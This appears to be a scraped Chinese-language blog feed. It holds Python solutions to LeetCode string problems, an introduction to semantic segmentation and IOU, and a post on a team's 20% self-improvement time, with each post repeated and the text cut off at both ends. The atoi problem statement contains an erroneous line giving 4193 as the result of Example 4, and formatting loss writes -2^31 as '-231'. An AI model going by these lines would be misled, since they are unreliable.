Step 1: "-91283472332" (no characters read because there is no leading whitespace)
^
Step 2: "-91283472332" ('-' is read, so the result should be negative)
^
Step 3: "-91283472332" ("91283472332" is read in)
^
The parsed integer is -91283472332.
Since -91283472332 is less than the lower bound of the range [-2^31, 2^31 - 1], the final result is clamped to -231 = -2147483648.
Constraints:
0 <= s.length <= 200
s consists of English letters (lower-case and upper-case), digits (0-9), ' ', '+', '-', and '.'.
這個題目主要是要設計一個程式可以讓輸入的字串(輸入字串有可能有大小寫英文單字、,
、+
、-
和 .
)去除前方多餘空格和零並轉成整數(若為負號則為副整數),但有幾個限制條件,若不符合則不進行轉換回傳 0 或超過限制的最大最小值([-2^31, 2^31 - 1]
)回傳最大最小值。
Solution
參考方法:
class Solution(object):
def myAtoi(self, s):
"""
:type s: str
:rtype: int
"""
s = s.lstrip()
if len(s) < 1:
return 0
# 建立是否為負數標籤
minus_flag = False
if s[0] in ['+', '-']:
if s[0] == '-':
minus_flag = True
# 取符號後面的字串
s = s[1:]
# 判斷是否長度小於 1,若是代表沒有整數值
if len(s) < 1:
return 0
# 判斷是否符號後面是接非整數字元
if not s[0].isdigit():
return 0
# 建立一個可以將整數字元放入的串列
str_list = []
# 將字串中字元一一取出
for s_chr in s:
# 判斷是否為整數
if s_chr.isdigit():
str_list.append(s_chr)
# 當遇到非整數字元則跳出迴圈
else:
break
# 根據題目設置上下限
INI_MAX = pow(2, 31) - 1
INT_MIN = pow(2, 31) * -1
# 根據是否為負整數來判斷回傳值
if minus_flag:
result_num = int(''.join(str_list)) * -1
if result_num < INT_MIN:
return INT_MIN
else:
result_num = int(''.join(str_list))
if result_num > INI_MAX:
return INI_MAX
return result_num
本題主要需要針對題目規劃流程,依序實作:
int()
函式去除)Problem: Implement strStr()
Implement strStr()
.
Return the index of the first occurrence of needle in haystack, or -1
if needle is not part of haystack.
Clarification:
What should we return when needle is an empty string? This is a great question to ask during an interview.
For the purpose of this problem, we will return 0 when needle is an empty string. This is consistent to C's strstr()
and Java's indexOf()
.
Example 1:
Input: haystack = "hello", needle = "ll"
Output: 2
Example 2:
Input: haystack = "aaaaa", needle = "bba"
Output: -1
Example 3:
Input: haystack = "", needle = ""
Output: 0
Constraints:
0 <= haystack.length, needle.length <= 5 * 104
haystack and needle consist of only lower-case English characters.
這個題目主要是實作類似 strStr() 函式的程式,可以判斷最初出現的子字串在字串中的索引位置,若無符合則回傳 -1
。其中 haystack
代表字串,needle
代表比對的子字串。
Solution
參考方法:
class Solution(object):
def strStr(self, haystack, needle):
"""
:type haystack: str
:type needle: str
:rtype: int
"""
if len(needle) > len(haystack):
return -1
# 若字串和子字串相等則回傳索引 0
if needle == haystack:
return 0
str_length = len(haystack)
substr_length = len(needle)
# 從 0 開始往右切出子字串比對
pointer = 0
# 若是 pointer 位置 ≤ 字串減掉子字串長度代表還可以繼續比對
while pointer <= (str_length - substr_length):
# 以 pointer 為基準進行子字串比對,若符合則回傳 pointer 為索引
if haystack[pointer: pointer + substr_length] == needle:
return pointer
else:
pointer += 1
return -1
主要透過 while 迴圈比對子字串的索引狀況並根據 Python 切片取出的子字串互相比對,若符合則回傳指標,不符合則繼續比對下去。若最後都沒有符合則回傳 -1
。
Problem: Count and Say
The count-and-say sequence is a sequence of digit strings defined by the recursive formula:
countAndSay(1) = "1"
countAndSay(n)
is the way you would "say" the digit string from countAndSay(n-1)
, which is then converted into a different digit string.
To determine how you "say" a digit string, split it into the minimal number of groups so that each group is a contiguous section all of the same character. Then for each group, say the number of characters, then say the character. To convert the saying into a digit string, replace the counts with a number and concatenate every saying.
For example, the saying and conversion for digit string "3322251"
:
Given a positive integer n
, return the nth term of the count-and-say sequence.
Example 1:
Input: n = 1
Output: "1"
Explanation: This is the base case.
Example 2:
Input: n = 4
Output: "1211"
Explanation:
countAndSay(1) = "1"
countAndSay(2) = say "1" = one 1 = "11"
countAndSay(3) = say "11" = two 1's = "21"
countAndSay(4) = say "21" = one 2 + one 1 = "12" + "11" = "1211"
Constraints:
1 <= n <= 30
Solution
參考方法:
class Solution(object):
def countAndSay(self, n):
"""
:type n: int
:rtype: str
"""
# 限制 1 <= n <= 30
if n not in range(1, 31):
return "the input is error."
# 當 n 等於 1 時回傳 1
if n == 1:
return '1'
# 使用遞迴
s = self.countAndSay(n - 1)
# 初始化變數
say_str = ''
count = 1
index = 0
# 當字串長度大於 index 進入迴圈(結束條件)
while index < len(s):
# 當前後值相等,count 加 1(必須確認 index + 1 還有值)
if index + 1 < len(s) and s[index] == s[index + 1]:
count += 1
else:
# 將 count 和對應數值加入回傳字串
say_str += str(count) + str(s[index])
count = 1
index += 1
return say_str
首先我們必須先了解一下題目所謂的 Count and Say 是什麼意思。
意思是輸出的字串格式會是:
{數量}{數值}
舉例而言,若整數字串為:
1
則輸出字串:
# one one 一個一的意思
11
若整數字串為:
11
則輸出字串:
# two one 兩個一的意思
21
若整數字串為:
21
則輸出字串:
# one two one one 一個一,兩個一的意思
1211
會從輸入字串開始讀取,若連續一樣整數,則累加計數,依此類推。
在這邊我們使用遞迴方式,每次計算好的字串當作下一次的初始字串使用。其中若索引遇到前後值相同則,計數加一。若索引前後不同則將累計的計數和值加到回傳字串上。
Problem: Longest Common Prefix
Write a function to find the longest common prefix string amongst an array of strings.
If there is no common prefix, return an empty string ""
.
Example 1:
Input: strs = ["flower","flow","flight"]
Output: "fl"
Example 2:
Input: strs = ["dog","racecar","car"]
Output: ""
Explanation: There is no common prefix among the input strings.
Constraints:
0 <= strs.length <= 200
0 <= strs[i].length <= 200
strs[i] consists of only lower-case English letters.
Solution
參考方法:
class Solution:
def longestCommonPrefix(self, strs: List[str]) -> str:
# 去除串列長度為 0 和字串為空值的情況
if len(strs) == 0 or '' in strs:
return ''
# 若串列長度為一,則回傳第一個字串
if len(strs) == 1:
return strs[0]
# 建立取出共同前綴字的串列空間
common_prefix = []
# 最大前綴長度不超過最短字串的長度
min_str_length = min([len(str) for str in strs])
# 使用最短字串的長度當作迴圈條件一一取出字元放入共同前綴字的串列空間
for i in range(min_str_length):
for string in strs:
common_prefix.append(string[:i + 1])
# 若共同前綴字的串列空間取 set 長度大於一代表已有分歧,回傳上一個共同結果
if len(set(common_prefix)) == 1:
common_prefix = []
else:
return strs[0][:i]
# 回傳到最短字串的長度的子字串
return strs[0][:min_str_length]
透過取出字串串列中最短字串的長度,我們可以使用 for 迴圈當作迴圈條件一一取出字元放入共同前綴字的串列空間進行比較。若共同前綴字的串列空間取 set(可計算不重複字串)長度大於一代表已有分歧,回傳上一個共同結果為最大前綴,否則回傳到最短字串的長度的子字串。
字串處理系列到這邊告一段落,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: String to Integer (atoi)
Implement the myAtoi(string s)
function, which converts a string to a 32-bit signed integer (similar to C/C++'s atoi
function).
The algorithm for myAtoi(string s)
is as follows:
[-2^31, 2^31 - 1]
, then clamp the integer so that it remains in the range. Specifically, integers less than -2^31
should be clamped to -2^31
, and integers greater than 2^31 - 1
should be clamped to 2^31 - 1
.Note:
Only the space character ' '
is considered a whitespace character.
Do not ignore any characters other than the leading whitespace or the rest of the string after the digits.
Example 1:
Input: str = "42"
Output: 42
Explanation: The underlined characters are what is read in, the caret is the current reader position.
Step 1: "42" (no characters read because there is no leading whitespace)
^
Step 2: "42" (no characters read because there is neither a '-' nor '+')
^
Step 3: "42" ("42" is read in)
^
The parsed integer is 42.
Since 42 is in the range [-2^31, 2^31 - 1], the final result is 42.
Example 2:
Input: str = " -42"
Output: -42
Explanation:
Step 1: " -42" (leading whitespace is read and ignored)
^
Step 2: " -42" ('-' is read, so the result should be negative)
^
Step 3: " -42" ("42" is read in)
^
The parsed integer is -42.
Since -42 is in the range [-2^31, 2^31 - 1], the final result is -42.
Example 3:
Input: str = "4193 with words"
Output: 4193
Explanation:
Step 1: "4193 with words" (no characters read because there is no leading whitespace)
^
Step 2: "4193 with words" (no characters read because there is neither a '-' nor '+')
^
Step 3: "4193 with words" ("4193" is read in; reading stops because the next character is a non-digit)
^
The parsed integer is 4193.
Since 4193 is in the range [-2^31, 2^31 - 1], the final result is 4193.
Example 4:
Input: str = "words and 987"
Output: 0
Explanation:
Step 1: "words and 987" (no characters read because there is no leading whitespace)
^
Step 2: "words and 987" (no characters read because there is neither a '-' nor '+')
^
Step 3: "words and 987" (reading stops immediately because there is a non-digit 'w')
^
The parsed integer is 0 because no digits were read.
Since 0 is in the range [-2^31, 2^31 - 1], the final result is 4193.
Example 5:
Input: str = "-91283472332"
Output: -2147483648
Explanation:
Step 1: "-91283472332" (no characters read because there is no leading whitespace)
^
Step 2: "-91283472332" ('-' is read, so the result should be negative)
^
Step 3: "-91283472332" ("91283472332" is read in)
^
The parsed integer is -91283472332.
Since -91283472332 is less than the lower bound of the range [-2^31, 2^31 - 1], the final result is clamped to -231 = -2147483648.
Constraints:
0 <= s.length <= 200
s consists of English letters (lower-case and upper-case), digits (0-9), ' ', '+', '-', and '.'.
這個題目主要是要設計一個程式可以讓輸入的字串(輸入字串有可能有大小寫英文單字、,
、+
、-
和 .
)去除前方多餘空格和零並轉成整數(若為負號則為副整數),但有幾個限制條件,若不符合則不進行轉換回傳 0 或超過限制的最大最小值([-2^31, 2^31 - 1]
)回傳最大最小值。
Solution
參考方法:
class Solution(object):
def myAtoi(self, s):
"""
:type s: str
:rtype: int
"""
s = s.lstrip()
if len(s) < 1:
return 0
# 建立是否為負數標籤
minus_flag = False
if s[0] in ['+', '-']:
if s[0] == '-':
minus_flag = True
# 取符號後面的字串
s = s[1:]
# 判斷是否長度小於 1,若是代表沒有整數值
if len(s) < 1:
return 0
# 判斷是否符號後面是接非整數字元
if not s[0].isdigit():
return 0
# 建立一個可以將整數字元放入的串列
str_list = []
# 將字串中字元一一取出
for s_chr in s:
# 判斷是否為整數
if s_chr.isdigit():
str_list.append(s_chr)
# 當遇到非整數字元則跳出迴圈
else:
break
# 根據題目設置上下限
INI_MAX = pow(2, 31) - 1
INT_MIN = pow(2, 31) * -1
# 根據是否為負整數來判斷回傳值
if minus_flag:
result_num = int(''.join(str_list)) * -1
if result_num < INT_MIN:
return INT_MIN
else:
result_num = int(''.join(str_list))
if result_num > INI_MAX:
return INI_MAX
return result_num
本題主要需要針對題目規劃流程,依序實作:
int()
函式去除)Problem: Implement strStr()
Implement strStr()
.
Return the index of the first occurrence of needle in haystack, or -1
if needle is not part of haystack.
Clarification:
What should we return when needle is an empty string? This is a great question to ask during an interview.
For the purpose of this problem, we will return 0 when needle is an empty string. This is consistent to C's strstr()
and Java's indexOf()
.
Example 1:
Input: haystack = "hello", needle = "ll"
Output: 2
Example 2:
Input: haystack = "aaaaa", needle = "bba"
Output: -1
Example 3:
Input: haystack = "", needle = ""
Output: 0
Constraints:
0 <= haystack.length, needle.length <= 5 * 104
haystack and needle consist of only lower-case English characters.
這個題目主要是實作類似 strStr() 函式的程式,可以判斷最初出現的子字串在字串中的索引位置,若無符合則回傳 -1
。其中 haystack
代表字串,needle
代表比對的子字串。
Solution
參考方法:
class Solution(object):
def strStr(self, haystack, needle):
"""
:type haystack: str
:type needle: str
:rtype: int
"""
if len(needle) > len(haystack):
return -1
# 若字串和子字串相等則回傳索引 0
if needle == haystack:
return 0
str_length = len(haystack)
substr_length = len(needle)
# 從 0 開始往右切出子字串比對
pointer = 0
# 若是 pointer 位置 ≤ 字串減掉子字串長度代表還可以繼續比對
while pointer <= (str_length - substr_length):
# 以 pointer 為基準進行子字串比對,若符合則回傳 pointer 為索引
if haystack[pointer: pointer + substr_length] == needle:
return pointer
else:
pointer += 1
return -1
主要透過 while 迴圈比對子字串的索引狀況並根據 Python 切片取出的子字串互相比對,若符合則回傳指標,不符合則繼續比對下去。若最後都沒有符合則回傳 -1
。
Problem: Count and Say
The count-and-say sequence is a sequence of digit strings defined by the recursive formula:
countAndSay(1) = "1"
countAndSay(n)
is the way you would "say" the digit string from countAndSay(n-1)
, which is then converted into a different digit string.
To determine how you "say" a digit string, split it into the minimal number of groups so that each group is a contiguous section all of the same character. Then for each group, say the number of characters, then say the character. To convert the saying into a digit string, replace the counts with a number and concatenate every saying.
For example, the saying and conversion for digit string "3322251"
:
Given a positive integer n
, return the nth term of the count-and-say sequence.
Example 1:
Input: n = 1
Output: "1"
Explanation: This is the base case.
Example 2:
Input: n = 4
Output: "1211"
Explanation:
countAndSay(1) = "1"
countAndSay(2) = say "1" = one 1 = "11"
countAndSay(3) = say "11" = two 1's = "21"
countAndSay(4) = say "21" = one 2 + one 1 = "12" + "11" = "1211"
Constraints:
1 <= n <= 30
Solution
參考方法:
class Solution(object):
def countAndSay(self, n):
"""
:type n: int
:rtype: str
"""
# 限制 1 <= n <= 30
if n not in range(1, 31):
return "the input is error."
# 當 n 等於 1 時回傳 1
if n == 1:
return '1'
# 使用遞迴
s = self.countAndSay(n - 1)
# 初始化變數
say_str = ''
count = 1
index = 0
# 當字串長度大於 index 進入迴圈(結束條件)
while index < len(s):
# 當前後值相等,count 加 1(必須確認 index + 1 還有值)
if index + 1 < len(s) and s[index] == s[index + 1]:
count += 1
else:
# 將 count 和對應數值加入回傳字串
say_str += str(count) + str(s[index])
count = 1
index += 1
return say_str
首先我們必須先了解一下題目所謂的 Count and Say 是什麼意思。
意思是輸出的字串格式會是:
{數量}{數值}
舉例而言,若整數字串為:
1
則輸出字串:
# one one 一個一的意思
11
若整數字串為:
11
則輸出字串:
# two one 兩個一的意思
21
若整數字串為:
21
則輸出字串:
# one two one one 一個一,兩個一的意思
1211
會從輸入字串開始讀取,若連續一樣整數,則累加計數,依此類推。
在這邊我們使用遞迴方式,每次計算好的字串當作下一次的初始字串使用。其中若索引遇到前後值相同則,計數加一。若索引前後不同則將累計的計數和值加到回傳字串上。
Problem: Longest Common Prefix
Write a function to find the longest common prefix string amongst an array of strings.
If there is no common prefix, return an empty string ""
.
Example 1:
Input: strs = ["flower","flow","flight"]
Output: "fl"
Example 2:
Input: strs = ["dog","racecar","car"]
Output: ""
Explanation: There is no common prefix among the input strings.
Constraints:
0 <= strs.length <= 200
0 <= strs[i].length <= 200
strs[i] consists of only lower-case English letters.
Solution
參考方法:
class Solution:
def longestCommonPrefix(self, strs: List[str]) -> str:
# 去除串列長度為 0 和字串為空值的情況
if len(strs) == 0 or '' in strs:
return ''
# 若串列長度為一,則回傳第一個字串
if len(strs) == 1:
return strs[0]
# 建立取出共同前綴字的串列空間
common_prefix = []
# 最大前綴長度不超過最短字串的長度
min_str_length = min([len(str) for str in strs])
# 使用最短字串的長度當作迴圈條件一一取出字元放入共同前綴字的串列空間
for i in range(min_str_length):
for string in strs:
common_prefix.append(string[:i + 1])
# 若共同前綴字的串列空間取 set 長度大於一代表已有分歧,回傳上一個共同結果
if len(set(common_prefix)) == 1:
common_prefix = []
else:
return strs[0][:i]
# 回傳到最短字串的長度的子字串
return strs[0][:min_str_length]
透過取出字串串列中最短字串的長度,我們可以使用 for 迴圈當作迴圈條件一一取出字元放入共同前綴字的串列空間進行比較。若共同前綴字的串列空間取 set(可計算不重複字串)長度大於一代表已有分歧,回傳上一個共同結果為最大前綴,否則回傳到最短字串的長度的子字串。
字串處理系列到這邊告一段落,本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
今天來跟大家介紹一個在自駕車領域中也很重要的技術 - Semantic segmentation,先放一張帥圖來欣賞欣賞。
Semantic segmentation 的功能是把一張 2D 影像中的所有 pixel,都做好分類,這些類別我們是先定義好的。以下圖為例:
Semantic segmentation 的目標就是要把每個 pixel 都歸類到 Sky, Building, Pole, Road Marking, Road, Pavement, Tree, Sign Symbol, Fence, Vehicle, Pedestrian, Bike 的其中一類。
從上面的簡介我們知道,semantic segmentation 可以切分出各個大區塊,比起直接做物體辨識,他的應用之處還是不太一樣,例如:
Semantic segmentation 是一個還在蓬勃發展的領域,所以這邊只是稍微簡介一下,如果你有興趣,可以去看看延伸閱讀 2 和 3,再從那邊繼續延伸。
我們從本質出發,為了區分出每個 pixel 的類別,我們還是需要辨識這些 pixel 的特徵,所以需要一個 Feature Extractor,但通常經過一系列的 convolution layer 跟 pooling 之後,feature space image 會變小,所以需要一個 Feature Decoder,把 feature space image 放大,最後再通過一個 output layer 產生每個類別的機率(一層 softmax 就可以做到),基本結構如下圖:
稍微詳細展開 Feature Extractor 跟 Feature Decoder 如下:
想玩玩看實作的話,可以去 這個 repository - pytorch-semseg 看看。
在評量 semantic segmentation 演算法時,一個很標準的做法是用 class IOU ( intersection-over-union),對於某個 class X 來說,我們在意 TP, FP, FN 這三個值。
直接上個範例,假設今天只有 9 個 pixel,左邊是 ground truth,右邊是我們的預測值,那就可以算出 Road 這個 class 的 IOU 是 3/5。
再來一個範例,對於 Sidewalk 這個 class 來說,IOU 是 4/6。
除了上面的 IOU 之外,由於畫面中各 class 所佔的 pixel 比重可能會差很多,例如路面跟天空佔了很多 pixel,但行人或遠方的汽車可能就佔很少,為了平衡這問題,可以調整一下權重:
然後放一個諧音笑話:
今天用簡短的篇幅介紹了 semantic segmentation,希望讓大家可以它有很清楚的概念,也提供一些連結,讓想要更深入鑽研的讀者可以慢慢研究。下次見!
今天來跟大家介紹一個在自駕車領域中也很重要的技術 - Semantic segmentation,先放一張帥圖來欣賞欣賞。
Semantic segmentation 的功能是把一張 2D 影像中的所有 pixel,都做好分類,這些類別我們是先定義好的。以下圖為例:
Semantic segmentation 的目標就是要把每個 pixel 都歸類到 Sky, Building, Pole, Road Marking, Road, Pavement, Tree, Sign Symbol, Fence, Vehicle, Pedestrian, Bike 的其中一類。
從上面的簡介我們知道,semantic segmentation 可以切分出各個大區塊,比起直接做物體辨識,他的應用之處還是不太一樣,例如:
Semantic segmentation 是一個還在蓬勃發展的領域,所以這邊只是稍微簡介一下,如果你有興趣,可以去看看延伸閱讀 2 和 3,再從那邊繼續延伸。
我們從本質出發,為了區分出每個 pixel 的類別,我們還是需要辨識這些 pixel 的特徵,所以需要一個 Feature Extractor,但通常經過一系列的 convolution layer 跟 pooling 之後,feature space image 會變小,所以需要一個 Feature Decoder,把 feature space image 放大,最後再通過一個 output layer 產生每個類別的機率(一層 softmax 就可以做到),基本結構如下圖:
稍微詳細展開 Feature Extractor 跟 Feature Decoder 如下:
想玩玩看實作的話,可以去 這個 repository - pytorch-semseg 看看。
在評量 semantic segmentation 演算法時,一個很標準的做法是用 class IOU ( intersection-over-union),對於某個 class X 來說,我們在意 TP, FP, FN 這三個值。
直接上個範例,假設今天只有 9 個 pixel,左邊是 ground truth,右邊是我們的預測值,那就可以算出 Road 這個 class 的 IOU 是 3/5。
再來一個範例,對於 Sidewalk 這個 class 來說,IOU 是 4/6。
除了上面的 IOU 之外,由於畫面中各 class 所佔的 pixel 比重可能會差很多,例如路面跟天空佔了很多 pixel,但行人或遠方的汽車可能就佔很少,為了平衡這問題,可以調整一下權重:
然後放一個諧音笑話:
今天用簡短的篇幅介紹了 semantic segmentation,希望讓大家可以它有很清楚的概念,也提供一些連結,讓想要更深入鑽研的讀者可以慢慢研究。下次見!
年末年始很適合來回顧過去展望未來,2020 對我們這代人來說絕對是難以忘記的一年,面對 2021,希望我們繼續保有對生活的熱情,享受生命的每一刻美好。
2021 的第一篇文章不談生硬的技術、不寫長篇的教學文,我想分享一下在 2020 的最後一個 quarter 中,公司團隊所嘗試的 self-improvement 計畫,討論它為我們帶來的好處與是否適合大家嘗試導入。
這個計畫實際上是由我們團隊新進主管所提出的,他認為,除了完成工作上交付的任務外,持續去精進專業能力是我們工程師的一種生活方式,這點相信毋庸置疑,大家都在推廣要撰寫部落格、參與開源專案、製作 side project 等等,這都是為了精進我們的專業能力。
然而,生活不是只有這個面向,工程師也需要照顧家人、培養各種嗜好?,以及享受其他生活美好;或更簡單點,維持你的 mental health。
若要在下班後的時間,同時完成這所有的事情,著實是相當困難。
因此他提出的 self improvement 計畫就是希望能建立一個框架,讓這一切從理想狀態變成現實。
相信大家都聽過 Google 著名的 20% time,也就是能利用上班時間的 20% 來做自己想嘗試的專案,無論是否直接跟工作有關聯。
所謂的 self improvement 計畫就是類似的概念,利用每個 sprint 的 20% 時間來增進自我,差別在於執行的專案必須要能夠幫助到你在工作上的成長。
以一個 sprint 兩個星期來說,總共十個工作天,20% 的時間等同於每個 sprint 必須騰出兩天的時間給團隊成員執行自我精進計畫。
沒錯,這等同於在要求公司對員工進行投資,但其實你仔細想想是非常合理的,畢竟當你精進了專業能力,公司當然也會受惠,更別提在過程中你的產出可能就已經直接對公司帶來正面影響,像是你可能在過程中幫忙製作了增進大家效率的開發工具等等。
不過說是這樣說,一切還是很理想化,因此在真正執行這個計畫前,團隊內部是進行不少討論的,尤其是需要說服 PM 們認同這項計畫的好處,因為這是有可能會影響到公司專案的時程。
Self improvement 計畫可以歸納為三個步驟:
The what: 選擇你要做的專案
The how: 執行
The outcome: 分享結果
剛剛提到,我們的 self improvement 計畫與 Google 的 20% 不同的點在於我們有限制能做的專案範圍,但實際上我們的規範還是非常寬鬆的,主要分成三類:
你可以選擇利用平常想玩但工作上用不到的技術來實作一些增進開發效率的工具,像是我們有成員利用這時間製作了集合我們日常開發所需工具的 CLI tool,平常需要許多步驟才能設置好的環境,現在只要透過 CLI 下個指令就通通搞定,甚至有 web UI 介面可以操作;又或者你可以學習一門新的語言,截長補短,將好的概念應用到日常工作中,舉例來說,有成員學習了 Rust 與 webassembly,將 Rust 語言在 error handling 的一些概念引進我們 Typescript 的專案(雖然這樣的作法好壞見仁見智,但就我個人看來,這種火花對團隊是非常好的)。
此外,畢竟公司是跨國團隊,語言溝通還是很重要的一個環節,利用這時間來增進你的英文或其他語言的水平,對個人與公司都是有極大的好處。
除了上述這些偏向個人取向的例子外,也可以是組成一個小團隊來執行 self improvement 專案,像是前後端工程師互相舉辦 workshop,讓前端學習後端,後端了解前端;或是組織系統設計的讀書會,一起思考設計產品系統等等。
上述是三步驟中的第一步驟,也就是你要利用 self improvement time 做什麼。基本上只要能規範在我們定義的三大分類中,你做什麼都是可以的。
再來是執行面,我們訂定 two-week sprint 中的最後兩天作為 self improvement time,在每次的 sprint planning 與 backlog refinement meeting 時,必須考量到實際工作天數只有八天,依此來權衡各項 task 的優先順序,並依照先前的 sprint velocity 調整放進sprint 的點數。
而最後那兩天其實也並非整整 16 小時都是 self improvement time,我們把 sprint review, demo 與 retrospective meeting 分插到這兩天內。會想將這些 ceremonies 與 self improvement time 放在一起是有原因的,首先,每次開完 sprint review/demo 與 retrospective 後,工作效率通常不會太好,畢竟是一個 sprint 的結束,將 self improvement time 安排在同一時間內,不僅能提升大家士氣,也比較好用來說服 PM 們;另外,雖然 review、demo 與 retrospective 算是 scrum ceremonies 內比較輕鬆的部分,但就我們團隊內部觀察下來,我們也是會花費不少時間在分析檢討,將他們拆分成不同時段的會議,也有助於大家更能集中精神、更有效率。
最後一個步驟是 outcome,我們利用公司資源,把時間花在進行 self improvement 上,總是要做出點什麼成果才說得過去,對吧?
這樣的想法是很自然的,但執行起來有很多面向要考慮,首先,要確保成員信任這個機制並不會影響到你的績效考核,否則所謂的 20% time 就不是 80% + 20%,而是 100% + 20%,額外增加了更多的壓力在成員身上,這就本末倒置了。
再來就是不該限制形式,我們鼓勵大家舉辦 sharing、workshop、open source 或甚至是參加 conference 的方式去展現你的成果,但沒有任何硬性規定。
每個月,我們會舉辦一次內部的簡單分享會,讓大家自由得談論各自在 self improvement time 中做了哪些事情,還有哪些想做、有沒有需要找人一起幫忙的等等。在分享會上,我們不批判你的進度與成就多寡,我們專注在這過程中,你『有沒有獲得』些什麼。
在一個大家都有同樣共識,且優質的團隊內,你會發現這樣看似過於自由奔放的機制,反而能驅動大家去做出很棒的東西,以我們團隊的例子來說,有人因為這多出來的時間,有機會在公司內部工程部落格中發表研究成果,也有人撰寫了一整套 CI 自動化測試的工具,能夠推廣給公司內其他團隊使用,並寫出完整的說明文件。
你或許會說這些人就算沒有 self improvement time 也會做這些事,但重點就是,讓他們在工作的時間內完成,對成員本身來說的感覺就很好,更別提能讓他們有更多的時間去接觸專業外的事物,接收不同的刺激,理論上能更加反饋到專業能力上頭。
說得這麼美好,實際的執行過程中,也是有一些阻礙,否則就也不會有網路上一堆關於 Google 20% time 神話破滅的討論了(The Myth Of Google's 20% Time. It is one of the most enduring innovation ideas, but it may not be all that it seems, The truth about Google's famous '20% time' policy, Google 創新「80/20」法則名存實亡?員工時間分配技巧是創新最大考驗 ),就連待過谷歌的前雅虎 CEO Malissa Mayer 都說那其實是 120% time 了。
在試驗的一個季度內,我們總共執行了兩次 monthly sharing,每一次都會收集一些 feedback 來做調整,大致上觀察到的阻礙有以下幾點:
真的不知道要做什麼。不是每個工程師都有想要做的 side project。
難以在平常的工作時間切換思緒,去做增進自我的專案。
self improvement 計畫只有在我們團隊內部執行,許多跟其他團隊有相依性的事務很難真的在那兩天內排開,加上後端團隊都有 on call schedule。
這幾點是比較難解決的必然問題,對於不知道要做些什麼的成員,我們會由其他成員來帶動,邀請他們加入其他已經在進行的專案;覺得無法適應如此切換工作狀態的成員,我們也不勉強,先以安排工作上一些比較沒時間處理的 refactor 或 tech debt 給對方,讓他們慢慢適應;而至於與其他團隊的合作上,我們也會告知他們我們的 scrum 時程,在不影響公司主體專案進行下,調整 schedule,並在必要時給予 support,但還是以不打擾成員兩天的 self improvement time 為基本準則。
上述問題用這樣的處理方式到目前為止算是還算穩當,但畢竟才執行一個季度,後續還需要繼續觀察調整。
對於我個人來說,困難的部分在於要捨得在那兩天確切的放下工作上的項目。即便在 sprint planning 時已經把時間也考慮進去了,但在實作 tasks 的過程,不免會有一些突發狀況,或是靈光一閃想要多做些什麼東西,這時候在那兩天內我還是會偶而會忍不住偷做一下工作的內容,但由於 self improvement 計畫並沒有規定要有多少產出,也不在績效內,所以並不至於到變成 120% time。
另外還有一點值得一提。
在前面我說過,我們為了不增加大家的負擔,盡量不限縮成果分享的形式與內容多寡,但我們是很明確的跟大家說明『一定要空出兩天作為 self improvement 計畫』,算是強制性要求大家參與,若是連參與本身都不強制,那整個計畫很容易就流於形式,到最後就不知不覺得消失了。
就如同前面提供的許多關於 Google 20% time 機制的討論,這件事情執行起來很容易不小心就走歪,絕對不是適合每間公司每個團隊都採取這樣的做法,但至少是值得大家拿出來討論看看,是否能對你的團隊造成正面影響。我也不會覺得我們團隊能夠依照現在的步調走到多遠,但不斷的試驗與調整不就是工程師最擅長的嗎?大家又是怎麼看待這件事情呢?歡迎大家一起提出觀點討論!
]]>年末年始很適合來回顧過去展望未來,2020 對我們這代人來說絕對是難以忘記的一年,面對 2021,希望我們繼續保有對生活的熱情,享受生命的每一刻美好。
2021 的第一篇文章不談生硬的技術、不寫長篇的教學文,我想分享一下在 2020 的最後一個 quarter 中,公司團隊所嘗試的 self-improvement 計畫,討論它為我們帶來的好處與是否適合大家嘗試導入。
這個計畫實際上是由我們團隊新進主管所提出的,他認為,除了完成工作上交付的任務外,持續去精進專業能力是我們工程師的一種生活方式,這點相信毋庸置疑,大家都在推廣要撰寫部落格、參與開源專案、製作 side project 等等,這都是為了精進我們的專業能力。
然而,生活不是只有這個面向,工程師也需要照顧家人、培養各種嗜好?,以及享受其他生活美好;或更簡單點,維持你的 mental health。
若要在下班後的時間,同時完成這所有的事情,著實是相當困難。
因此他提出的 self improvement 計畫就是希望能建立一個框架,讓這一切從理想狀態變成現實。
相信大家都聽過 Google 著名的 20% time,也就是能利用上班時間的 20% 來做自己想嘗試的專案,無論是否直接跟工作有關聯。
所謂的 self improvement 計畫就是類似的概念,利用每個 sprint 的 20% 時間來增進自我,差別在於執行的專案必須要能夠幫助到你在工作上的成長。
以一個 sprint 兩個星期來說,總共十個工作天,20% 的時間等同於每個 sprint 必須騰出兩天的時間給團隊成員執行自我精進計畫。
沒錯,這等同於在要求公司對員工進行投資,但其實你仔細想想是非常合理的,畢竟當你精進了專業能力,公司當然也會受惠,更別提在過程中你的產出可能就已經直接對公司帶來正面影響,像是你可能在過程中幫忙製作了增進大家效率的開發工具等等。
不過說是這樣說,一切還是很理想化,因此在真正執行這個計畫前,團隊內部是進行不少討論的,尤其是需要說服 PM 們認同這項計畫的好處,因為這是有可能會影響到公司專案的時程。
Self improvement 計畫可以歸納為三個步驟:
The what: 選擇你要做的專案
The how: 執行
The outcome: 分享結果
剛剛提到,我們的 self improvement 計畫與 Google 的 20% 不同的點在於我們有限制能做的專案範圍,但實際上我們的規範還是非常寬鬆的,主要分成三類:
